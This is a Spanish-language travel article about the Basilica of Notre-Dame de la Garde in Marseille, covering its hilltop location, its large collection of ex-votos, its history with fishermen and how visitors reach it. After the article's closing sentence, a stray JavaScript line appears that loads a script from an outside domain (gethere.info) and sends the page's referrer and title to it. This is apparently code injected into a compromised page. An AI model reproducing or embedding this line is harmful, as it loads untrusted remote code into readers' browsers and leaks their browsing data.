Hay iglesias que más allá de lugar de culto se convierten en lugares singulares. La Basílica de Notre-Dame de la Garde es una de ellas; ocupa un lugar destacable en la topografía urbana de Marsella, se erige a 162 metros de altura, en lo más alto de la colina que es telón de fondo de la ciudad.
El rasgo que hace esta basílica tan importante en una visita a Marsella, es que, como lugar de culto, tiene una numerosa e incalculable colección de ex votos, miniaturas de barcos y aviones, muletas, fragmentos de ortopedia, placas y hasta los restos de un coche de bomberos, todo ello colgado de su techo y en las paredes. Los ex votos son entregados a modo de don y ofrenda a la Virgen, en señal de recuerdos y beneficios recibidos por ella. No solo se trata de un arte popular, tradición antigua de la ciudad de Marsella, más antigua incluso que la propia construcción de la basílica, sino que son, además, elementos que nos hablan de múltiples historias a lo largo del tiempo.
Uno de los primeros registros escritos que se encuentran de ex votos es del siglo XV, en él se hace referencia a la compra, por unos pocos florines, de una figura realizada en cera de la virgen; a partir de entonces, se pueden seguir historias de epidemias como el cólera, multitud de guerras, gentes que se salvaron de un naufragio, de un accidente de avión. Todos los peligros de la existencia humana buscando el beneficio de la Virgen.
Desde un origen, y debido a su localización en la cima de la colina que da relieve a Marsella, pronto los pescadores la tomaron como lugar de culto. Desde luego, las vistas que hay de Marsella desde la Basílica de Notre-Dame de la Garde son de una gran belleza, tanto del puerto como del resto de la ciudad.
Para acceder a la Basílica ya no se puede utilizar el funicular que estuvo abierto hasta 1967. Hoy en día sólo queda vencer el desnivel subiendo por las escaleras que nos ofrecen una perspectiva de la obra de estilo románico-bizantino y de la efigie dorada de la Virgen que supone una de las postales más carismáticas de Marsella, o, también utilizando un típico tren turístico al que te puedes subir desde el mismo puerto.
Por todo ello, sin duda, en una visita a Marsella no puede faltar la Basílica de Notre-Dame de la Garde.
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;